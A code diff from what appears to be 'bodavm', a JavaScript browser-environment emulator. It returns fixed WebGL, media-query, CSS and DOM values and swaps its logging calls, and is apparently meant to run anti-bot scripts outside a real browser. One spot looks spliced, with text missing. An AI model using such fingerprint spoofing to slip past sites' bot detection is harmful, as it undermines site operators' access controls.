(bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_shaderSource !!!!!!!!!未完善!!!!!!!!!!!!`, `shader:${shader} source:${source} `); + console.log_copy(`WebGLRenderingContext_shaderSource !!!!!!!!!未完善!!!!!!!!!!!!`, `shader:${shader} source:${source} `); } bodavm.envFunc.WebGLRenderingContext_compileShader = function WebGLRenderingContext_shaderSource() { let compileShader = arguments[0] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_compileShader !!!!!!!!!未完善!!!!!!!!!!!!`, `${compileShader} `); + console.log_copy(`WebGLRenderingContext_compileShader !!!!!!!!!未完善!!!!!!!!!!!!`, `${compileShader} `); } bodavm.envFunc.WebGLRenderingContext_canvas_get = function WebGLRenderingContext_canvas_get() { let canvas = {} if (bodavm.config.isdebug) { debugger }; canvas._boisinit=true - console.log(`WebGLRenderingContext_canvas_get `, `${canvas} `); + console.log_copy(`WebGLRenderingContext_canvas_get `, `${canvas} `); canvas.__proto__ = bodavm.memory.globalobj['HTMLCanvasElement'].prototype // bodavm.toolsFunc.symbolProperty(canvas) return canvas @@ -6005,7 +6346,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; program = Object.setPrototypeOf(program, bodavm.memory.globalobj['WebGLProgram'].prototype); - console.log(`WebGLRenderingContext_createProgram `, `${program} `); + console.log_copy(`WebGLRenderingContext_createProgram `, `${program} `); return program; } @@ -6013,7 +6354,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let buffer = {}; buffer = Object.setPrototypeOf(buffer, bodavm.memory.globalobj['WebGLBuffer'].prototype); - console.log(`WebGLRenderingContext_createBuffer `, `${buffer} `); + console.log_copy(`WebGLRenderingContext_createBuffer `, `${buffer} `); return buffer; @@ -6022,7 +6363,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let r1 = arguments[0] let r2 = arguments[1] - console.log(`WebGLRenderingContext_bindBuffer !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1} r2:${r2} `); + console.log_copy(`WebGLRenderingContext_bindBuffer !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1} r2:${r2} `); } bodavm.envFunc.WebGLRenderingContext_bufferData = function WebGLRenderingContext_bufferData() { @@ -6032,13 +6373,13 @@ bodavm.memory.Performance={ let r3 = arguments[2] let r4 = arguments[3] let r5 = arguments[4] - console.log(`WebGLRenderingContext_bufferData !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1},r2:${r2},r3:${r3},r4:${r4},r5:${r5} `); + console.log_copy(`WebGLRenderingContext_bufferData !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1},r2:${r2},r3:${r3},r4:${r4},r5:${r5} `); } bodavm.envFunc.WebGLRenderingContext_getExtension = function WebGLRenderingContext_getExtension() { if (bodavm.config.isdebug) { debugger } let getExtension = arguments[0] - console.log(`WebGLRenderingContext_getExtension `, `${getExtension} `); + console.log_copy(`WebGLRenderingContext_getExtension `, `${getExtension} `); let info = {_boisinit:bodavm.config.isinit} switch (getExtension) { case "WEBGL_debug_renderer_info": @@ -6357,7 +6698,7 @@ bodavm.memory.Performance={ delete WebGLMultiDraw.prototype.constructor;; break; default: - console.log(`WebGLRenderingContext_getExtension `, `${getExtension}属性未实现 `); + console.log_copy(`WebGLRenderingContext_getExtension `, `${getExtension}属性未实现 `); break; } @@ -6400,7 +6741,7 @@ bodavm.memory.Performance={ "WEBKIT_WEBGL_lose_context", "WEBGL_multi_draw" ] - console.log(`WebGLRenderingContext_getSupportedExtensions=== `, `${SupportedExtensions} `); + console.log_copy(`WebGLRenderingContext_getSupportedExtensions=== `, `${SupportedExtensions} `); return SupportedExtensions } @@ -6430,14 +6771,14 @@ bodavm.memory.Performance={ 7938: 'WebGL 1.0 (OpenGL ES 2.0 Chromium)' } res = resDict[pname] - if (res === undefined) return console.log(`WebGLRenderingContext_getParameter `, `${pname} 未实现`); - console.log(`WebGLRenderingContext_getParameter `, `${pname} `, `-> res ->${res}`) + if (res === undefined) return console.log_copy(`WebGLRenderingContext_getParameter `, `${pname} 未实现`); + console.log_copy(`WebGLRenderingContext_getParameter `, `${pname} `, `-> res ->${res}`) return res } //HTMLStyleElement bodavm.envFunc.HTMLStyleElement_sheet_get = function HTMLStyleElement_sheet_get() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLStyleElement_sheet_get `, `${null} `); + console.log_copy(`HTMLStyleElement_sheet_get `, `${null} `); return null } @@ -6450,7 +6791,7 @@ bodavm.memory.Performance={ if (contentwindow){ contentwindow._contentiframe=true } - console.log(`HTMLIFrameElement_contentWindow_get `, `-> res ->${contentwindow}`,`获取iframe下的window!!!`); + console.log_copy(`HTMLIFrameElement_contentWindow_get `, `-> res ->${contentwindow}`,`获取iframe下的window!!!`); // contentwindow.__proto__ = bodavm.memory.globalobj['Window'].prototype // contentwindow['top']='123' @@ -6468,23 +6809,23 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; if (name == "overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "true"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "true"); return true } if (name == "-webkit-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "`false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "`false"); return false } if (name == "-o-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } if (name == "-moz-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } if (name == "-ms-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } @@ -6493,7 +6834,7 @@ bodavm.memory.Performance={ bodavm.envFunc.CSSStyleDeclaration_getPropertyValue = function CSSStyleDeclaration_getPropertyValue() { let getPropertyValue = arguments[0] - console.log(`CSSStyleDeclaration_getPropertyValue `, getPropertyValue, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`CSSStyleDeclaration_getPropertyValue `, getPropertyValue, `!!!!!!!!!未完善!!!!!!!!!!!! `); } //RTCPeerConnection_onicecandidate_set @@ -6501,7 +6842,7 @@ bodavm.memory.Performance={ let onicecandidate = arguments[0] if (bodavm.config.isdebug) { debugger }; this._onicecandidate = onicecandidate - console.log(`RTCPeerConnection_onicecandidate_set `, `onicecandidate->${onicecandidate}`); + console.log_copy(`RTCPeerConnection_onicecandidate_set `, `onicecandidate->${onicecandidate}`); return onicecandidate } @@ -6518,7 +6859,7 @@ bodavm.memory.Performance={ retSessionDescription.__proto__ = bodavm.memory.globalobj['RTCSessionDescription'].prototype // debugger // bodavm.toolsFunc.symbolProperty(batteryManager) - console.log(`RTCPeerConnection_createOffer `, `successCallback->${successCallback} `, `failureCallback->${failureCallback} `, `options->${options},!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`RTCPeerConnection_createOffer `, `successCallback->${successCallback} `, `failureCallback->${failureCallback} `, `options->${options},!!!!!!!!!未完善!!!!!!!!!!!! `); let promise = new Promise((resolve, reject) => { resolve(retSessionDescription) @@ -6543,9 +6884,11 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; let target = arguments[0] let options = arguments[1] - // debugger - let res = this._boarg.observe(target._boarg, options) - console.log(`MutationObserver_observe `, `target->${target} `, `options->${options} `); + debugger + this._callbacck() + console.log_copy(`MutationObserver_observe `, `target->${target} `, `options->${options} 直接调用callback 待完善!!!! `); + + // let res = this._boarg.observe(target._boarg, options) } //HTMLImageElement @@ -6555,7 +6898,7 @@ bodavm.memory.Performance={ let img = arguments[0] this._boarg.src = img // this._elements['0'].attr['img'] = img - console.log(`HTMLImageElement_src_set `, `img->${img} `); + console.log_copy(`HTMLImageElement_src_set `, `img->${img} `); return img } @@ -6563,14 +6906,14 @@ bodavm.memory.Performance={ let height = 0 if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLImageElement_height_get `, `height->${height} `); + console.log_copy(`HTMLImageElement_height_get `, `height->${height} `); return height } bodavm.envFunc.HTMLImageElement_width_get = function HTMLImageElement_height_get() { let width = 0 if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLImageElement_width_get `, `width->${width} `); + console.log_copy(`HTMLImageElement_width_get `, `width->${width} `); return width } //MediaQueryList @@ -6582,56 +6925,56 @@ bodavm.memory.Performance={ switch (media_) { case "(any-pointer: fine )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer: coarse )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer: none )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: hover )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: on-demand )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: none )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: srgb )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: p3 )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: rec2020 )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break default: - console.log(`MediaQueryList_matches_get `, `media_ ->${media_} 未实现`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_} 未实现`); } return resbool } @@ -6639,20 +6982,20 @@ bodavm.memory.Performance={ //WebGLShaderPrecisionFormat bodavm.envFunc.WebGLShaderPrecisionFormat_rangeMin_get = function WebGLShaderPrecisionFormat_rangeMin_get() { - console.log(`WebGLShaderPrecisionFormat_rangeMin_get `, 127); + console.log_copy(`WebGLShaderPrecisionFormat_rangeMin_get `, 127); if (bodavm.config.isdebug) { debugger }; return 127 } bodavm.envFunc.WebGLShaderPrecisionFormat_rangeMax_get = function WebGLShaderPrecisionFormat_rangeMax_get() { - console.log(`WebGLShaderPrecisionFormat_rangeMax_get `, 127); + console.log_copy(`WebGLShaderPrecisionFormat_rangeMax_get `, 127); if (bodavm.config.isdebug) { debugger }; return 127 } bodavm.envFunc.WebGLShaderPrecisionFormat_precision_get = function WebGLShaderPrecisionFormat_precision_get() { - console.log(`WebGLShaderPrecisionFormat_precision_get `, 23); + console.log_copy(`WebGLShaderPrecisionFormat_precision_get `, 23); if (bodavm.config.isdebug) { debugger }; return 23 @@ -6660,7 +7003,7 @@ bodavm.memory.Performance={ //BaseAudioContext bodavm.envFunc.BaseAudioContext_createOscillator = function BaseAudioContext_createOscillator() { - console.log(`BaseAudioContext_createOscillator`, undefined); + console.log_copy(`BaseAudioContext_createOscillator`, undefined); return undefined } @@ -6670,14 +7013,14 @@ bodavm.memory.Performance={ bodavm.envFunc.HTMLInputElement_type_get = function HTMLInputElement_type_get() { // debugger let tpye = this._boarg.type - console.log(`HTMLInputElement_type_get `, `type->${tpye}`); + console.log_copy(`HTMLInputElement_type_get `, `type->${tpye}`); return tpye } bodavm.envFunc.HTMLInputElement_name_get = function HTMLInputElement_name_get() { // debugger let name_ = this._boarg.name if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLInputElement_name_get `, ` name->${name_}`); + console.log_copy(`HTMLInputElement_name_get `, ` name->${name_}`); return name_ } bodavm.envFunc.HTMLInputElement_value_get = function HTMLInputElement_value_get() { @@ -6685,7 +7028,7 @@ bodavm.memory.Performance={ let value_ = this._boarg.value if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLInputElement_value_get `, ` value_->${value_}`); + console.log_copy(`HTMLInputElement_value_get `, ` value_->${value_}`); return value_ } }(); @@ -6729,12 +7072,12 @@ bodavm.toolsFunc.addMimeType = function addMimeType(mimeType){ if(mimeTypeArray === undefined){ mimeTypeArray = bodavm.toolsFunc.createMimeTypeArray(); } - Object.defineProperty(mimeTypeArray,bodavm.memory.symbolProperty,{ - value:1, - enumerable:false, - writable:false, - configurable:false - },'bobo') + // Object.defineProperty(mimeTypeArray,bodavm.memory.symbolProperty,{ + // value:1, + // enumerable:false, + // writable:false, + // configurable:false + // },'bobo') let index = mimeTypeArray.length; let flag = true; for(let i=0;i:1:100`) - ; -} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowProperties'], 'WindowProperties') -bodavm.memory.globalobj['WindowProperties'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WindowProperties'].__proto__=bodavm.memory.globalobj['EventTarget']; - -// Window对象 - -bodavm.memory.globalobj['Window'] = function Window(){if (!(this instanceof Window)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} +// EventTarget对象 + +bodavm.memory.globalobj['EventTarget'] = function EventTarget() { + console.log_copy('EventTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.EventTarget(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventTarget'], "EventTarget"); +bodavm.toolsFunc.defineProperty('EventTarget', "addEventListener", { + configurable: true, + enumerable: true, + writable: true, + value: function addEventListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "addEventListener", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "dispatchEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function dispatchEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "dispatchEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "removeEventListener", { + configurable: true, + enumerable: true, + writable: true, + value: function removeEventListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "removeEventListener", arguments); + } +}, 'prototype'); +// Node对象 +bodavm.memory.globalobj['Node'] = function Node() { + console.log_copy('Node 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Node)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Node'], "Node"); +bodavm.memory.globalobj['Node'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Node'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}); +bodavm.toolsFunc.defineProperty('Node', "nodeType", { + configurable: true, + enumerable: true, + get: function nodeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeName", { + configurable: true, + enumerable: true, + get: function nodeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "baseURI", { + configurable: true, + enumerable: true, + get: function baseURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "baseURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isConnected", { + configurable: true, + enumerable: true, + get: function isConnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isConnected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ownerDocument", { + configurable: true, + enumerable: true, + get: function ownerDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "ownerDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentNode", { + configurable: true, + enumerable: true, + get: function parentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentElement", { + configurable: true, + enumerable: true, + get: function parentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "childNodes", { + configurable: true, + enumerable: true, + get: function childNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "childNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "firstChild", { + configurable: true, + enumerable: true, + get: function firstChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "firstChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lastChild", { + configurable: true, + enumerable: true, + get: function lastChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lastChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "previousSibling", { + configurable: true, + enumerable: true, + get: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "previousSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nextSibling", { + configurable: true, + enumerable: true, + get: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nextSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeValue", { + configurable: true, + enumerable: true, + get: function nodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_get", arguments); + }, + set: function nodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "textContent", { + configurable: true, + enumerable: true, + get: function textContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_get", arguments); + }, + set: function textContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "appendChild", { + configurable: true, + enumerable: true, + writable: true, + value: function appendChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "appendChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "cloneNode", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "cloneNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "compareDocumentPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function compareDocumentPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "compareDocumentPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "getRootNode", { + configurable: true, + enumerable: true, + writable: true, + value: function getRootNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "getRootNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "hasChildNodes", { + configurable: true, + enumerable: true, + writable: true, + value: function hasChildNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "hasChildNodes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "insertBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "insertBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isDefaultNamespace", { + configurable: true, + enumerable: true, + writable: true, + value: function isDefaultNamespace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isDefaultNamespace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isEqualNode", { + configurable: true, + enumerable: true, + writable: true, + value: function isEqualNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isEqualNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isSameNode", { + configurable: true, + enumerable: true, + writable: true, + value: function isSameNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isSameNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupNamespaceURI", { + configurable: true, + enumerable: true, + writable: true, + value: function lookupNamespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupNamespaceURI", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupPrefix", { + configurable: true, + enumerable: true, + writable: true, + value: function lookupPrefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupPrefix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "normalize", { + configurable: true, + enumerable: true, + writable: true, + value: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "normalize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "removeChild", { + configurable: true, + enumerable: true, + writable: true, + value: function removeChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "removeChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Node', "replaceChild", { + configurable: true, + enumerable: true, + writable: true, + value: function 